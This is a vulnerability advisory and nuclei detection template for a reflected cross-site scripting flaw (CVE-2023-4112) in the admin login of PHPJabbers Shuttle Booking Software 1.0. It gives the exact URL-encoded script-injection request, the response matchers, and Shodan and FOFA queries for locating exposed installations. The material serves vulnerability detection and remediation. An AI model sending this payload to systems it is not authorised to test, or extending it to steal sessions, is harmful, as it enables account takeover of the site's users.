PHPJabbers Shuttle Booking Software 1.0 - Cross Site Scripting

mediumseverity

6.1CVSS score

8.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.

Impact

Unauthenticated attackers can inject malicious JavaScript through URL parameters, potentially stealing session tokens and login credentials of shuttle booking system administrators and customers.

Fix

Update PHPJabbers Shuttle Booking Software to a version newer than 1.0 that properly sanitizes URL parameters in the admin login functionality.

How to confirm it

Send: GET {{BaseURL}}/index.php/gm5rj%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ebwude?controller=pjAdmin&action=pjActionLogin&err=1
Positive when: contains(body, "PHPJabbers") && contains(body, "><script>alert(document.domain)</script>") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-4112 -u <target>

The full check

id: CVE-2023-4112

info:
  name: PHPJabbers Shuttle Booking Software 1.0 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through URL parameters, potentially stealing session tokens and login credentials of shuttle booking system administrators and customers.
  remediation: |
    Update PHPJabbers Shuttle Booking Software to a version newer than 1.0 that properly sanitizes URL parameters in the admin login functionality.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39750
    - https://cxsecurity.com/ascii/WLB-2023080012
    - http://packetstormsecurity.com/files/173930/PHPJabbers-Shuttle-Booking-Software-1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4112
    - https://vuldb.com/?ctiid.235959
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4112
    cwe-id: CWE-79
    epss-score: 0.08422
    epss-percentile: 0.95037
    cpe: cpe:2.3:a:phpjabbers:shuttle_booking_software:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: shuttle_booking_software
    shodan-query:
      - html:"PHP Jabbers.com"
      - http.html:"php jabbers.com"
    fofa-query: body="php jabbers.com"
  tags: cve2023,cve,packetstorm,xss,unauth,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/gm5rj%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ebwude?controller=pjAdmin&action=pjActionLogin&err=1"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "PHPJabbers") && contains(body, "><script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from